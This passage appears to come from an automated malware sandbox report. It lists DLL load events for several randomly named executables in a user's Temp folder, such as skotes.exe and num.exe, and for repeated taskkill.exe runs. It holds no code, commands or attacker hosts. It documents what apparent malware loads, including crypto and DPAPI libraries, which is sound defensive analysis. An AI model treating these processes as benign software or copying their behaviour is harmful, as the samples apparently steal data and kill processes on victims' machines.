Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
